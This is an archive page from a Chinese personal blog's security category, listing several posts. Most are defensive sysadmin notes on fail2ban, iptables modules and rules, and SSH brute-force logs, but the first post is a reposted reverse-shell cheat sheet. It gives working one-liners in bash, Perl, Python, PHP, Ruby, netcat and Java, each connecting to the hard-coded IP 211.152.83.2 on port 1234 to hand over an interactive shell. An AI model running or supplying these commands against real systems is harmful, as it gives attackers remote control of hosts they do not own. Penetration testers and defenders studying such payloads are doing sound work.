cszer

分类存档: 安全

反弹shell的方法汇总(转)

IN:技术, 安全   Tags:    评论: 6   阅读:1,802 views

Bash(在ubuntu12.10下测试通过)

1
bash -i >& /dev/tcp/211.152.83.2/1234 0>&1

PERL

1
perl -e 'use Socket;$i="211.152.83.2";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Python

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("211.152.83.2",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP(需要启用php的fsockopen函数)

1
php -r '$sock=fsockopen("211.152.83.2",1234);exec("/bin/sh -i < &3 >&3 2>&3");'

Ruby

1
ruby -rsocket -e'f=TCPSocket.open("211.152.83.2",1234).to_i;exec sprintf("/bin/sh -i < &%d >&%d 2>&%d",f,f,f)'

Netcat

1
2
3
nc -e /bin/sh 211.152.83.2 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 211.152.83.2 1234 >/tmp/f
nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999

Java

1
2
3
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/211.152.83.2/1234;cat < &5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

来自:http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

12-16
2013

使用fail2ban防止暴力破解

IN:技术, 安全   Tags: , ,    评论: 1   阅读:4,510 views

简介:

fail2ban是linux下一款安全工具。通过监视系统日志,匹配日志的错误信息(正则式匹配),然后执行相应的屏蔽动作(一般情况下是调用防火墙屏蔽)。如:当有人在试探你的SSH、SMTP、FTP密码,只要达到你预设的次数,fail2ban就会调用防火墙屏蔽这个IP,而且可以发送e-mail通知系统管理员,是一款很实用、很强大的软件! 继续阅读 »

11-01
2013

iptables模块介绍:recent

IN:技术, 安全, Linux 运维   Tags: ,    评论: 5   阅读:7,713 views

iptables模块介绍:limit
iptables模块介绍:connlimit

recent模块可以看作iptables里面维护了一个地址列表,这个地址列表可以通过”–set”、”–update”、”–rcheck”、”–remove”四种方法来修改列表,每次使用时只能选用一种。还可附带”–name”参数来指 定列表的名字(默认为DEFAULT),“–rsource”、“–rdest”指示当前方法应用到数据包的源地址还是目的地址(默认是前者)。

recent语句都带有布尔型返回值,每次执行若结果为真,则会执行后续的语句,比如“-j ACCEPT”之类的。

对于实现前面提到的功能,还需要额外的参数。“–second”限制包地址被记录进列表的时间要小于等于后面的时间。另外,还有”–hitcount”、”–rttl”,显然是可以有其他高级的play。 继续阅读 »

05-10
2012

iptables模块介绍:limit

IN:安全, Linux 运维   Tags: ,    评论: 4   阅读:5,120 views

iptables模块介绍:recent
iptables模块介绍:connlimit

limit模块用于限制匹配数据包的频率或速率

limit的工作方式就像一个单位大门口的保安,当有人要进入时,需要找他办理通行证。早上上班时,保安手里有一定数量的通行证,来一个人,就签发一个,当通行证用完后,再来人就进不去了,但他们不会等,而是到别的地方去(在iptables里,这相当于一个包不符合某条规则,就会由后面的规则来处理,如果都不符合,就由缺省的策略处理)。但有个规定,每隔一段时间保安就要签发一个新的通行证。这样,后面来的人如果恰巧赶上,也就可以进去了。如果没有人来,那通行证就保留下来,以备来的人用。如果一直没人来,可用的通行证的数量就增加了,但不是无限增大的,最多也就是刚开始时保安手里有的那个数量。也就是说,刚开始时,通行证的数量是有限的,但每隔一段时间就有新的通行证可用。limit match有两个参数就对应这种情况,–limit-burst指定刚开始时有多少通行证可用,–limit指定要隔多长时间才能签发一个新的通行证。要注意的是,我这里强调的是“签发一个新的通行证”,这是以iptables的角度考虑的。在你自己写规则时,就要从这个角度考虑。比如,你指定了–limit 3/minute –limit-burst 5 ,意思是开始时有5个通行证,用完之后每20秒增加一个(这就是从iptables的角度看的,要是以用户的角度看,说法就是每一分钟增加三个或者每分钟只能过三个)。你要是想每20分钟过一个,只能写成–limit 3/hour –limit-burst 5,也就是说你要把时间单位凑成整的。
继续阅读 »

05-10
2012

iptables模块介绍:connlimit

IN:技术, 安全, Linux 运维   Tags: ,    评论: 3   阅读:11,095 views

iptables模块介绍:recent
iptables模块介绍:limit

connlimit模块允许你限制每个客户端ip的并发连接数,即每个ip同时连接到一个服务器个数。
connlimit模块主要可以限制内网用户的网络使用,对服务器而言则可以限制每个ip发起的连接数。

参数:

--connlimit-above n 限制为多少个
--connlimit-mask n 这组主机的掩码,默认是connlimit-mask 32 ,即每ip.

继续阅读 »

05-10
2012

iptables范例

IN:技术, 安全   Tags:    评论: 2   阅读:2,786 views

只能收发邮件,别的都关闭

iptables -I Filter -m mac –mac-source 00:0F:EA:25:51:37 -j DROP
iptables -I Filter -m mac –mac-source 00:0F:EA:25:51:37 -p udp --dport 53 -j ACCEPT
iptables -I Filter -m mac –mac-source 00:0F:EA:25:51:37 -p tcp --dport 25 -j ACCEPT
iptables -I Filter -m mac –mac-source 00:0F:EA:25:51:37 -p tcp --dport 110 -j ACCEPT

DMZ

iptables -t nat -A PREROUTING -p tcp --dport 80 -d $INTERNET_ADDR -j DNAT --to-destination 192.168.100.2:80     #修改目标地址,用于在防火墙后端的web服务器

路由功能

echo "1" > /proc/sys/net/ipv4/ip_forward     #开启转发
iptables -t nat -A POSTROUTING -s 192.168.0.0/24 -o eth1 -j MASQUERADE     #eth1是公网网卡,使用伪装MASQUERADE
iptables -t nat -A POSTROUTING -o eth0 -j SNAT  --to-source 118.145.2.239     #不使用伪装,修改源地址为公网地址118.145.2.239

继续阅读 »

05-08
2012

使用脚本防止ssh暴力破解

IN:技术, 安全, Linux 运维, shell   Tags: ,    评论: 3   阅读:1 views

前段时间买了个美国的vps,主要用于学习,也没太注意安全方面。今天随便看了下/var/log/secure日志:

Apr 11 11:10:05 kof sshd[18518]: Failed password for root from 1.226.82.197 port 36824 ssh2
Apr 11 11:10:10 kof sshd[18520]: Failed password for root from 1.226.82.197 port 36966 ssh2
Apr 11 11:10:15 kof sshd[18522]: Failed password for root from 1.226.82.197 port 37132 ssh2
Apr 11 11:10:19 kof sshd[18524]: Failed password for root from 1.226.82.197 port 37326 ssh2
Apr 11 11:10:24 kof sshd[18528]: Failed password for root from 1.226.82.197 port 37476 ssh2
Apr 11 11:10:29 kof sshd[18535]: Failed password for root from 1.226.82.197 port 37642 ssh2
Apr 11 11:10:34 kof sshd[18537]: Failed password for root from 1.226.82.197 port 37819 ssh2
Apr 11 11:10:39 kof sshd[18539]: Failed password for root from 1.226.82.197 port 38023 ssh2
Apr 11 11:10:44 kof sshd[18541]: Failed password for root from 1.226.82.197 port 38200 ssh2
......

大量的ssh认证失败日志 !平均5秒钟就有一次!
继续阅读 »

04-13
2012
第 1 页,共 2 页12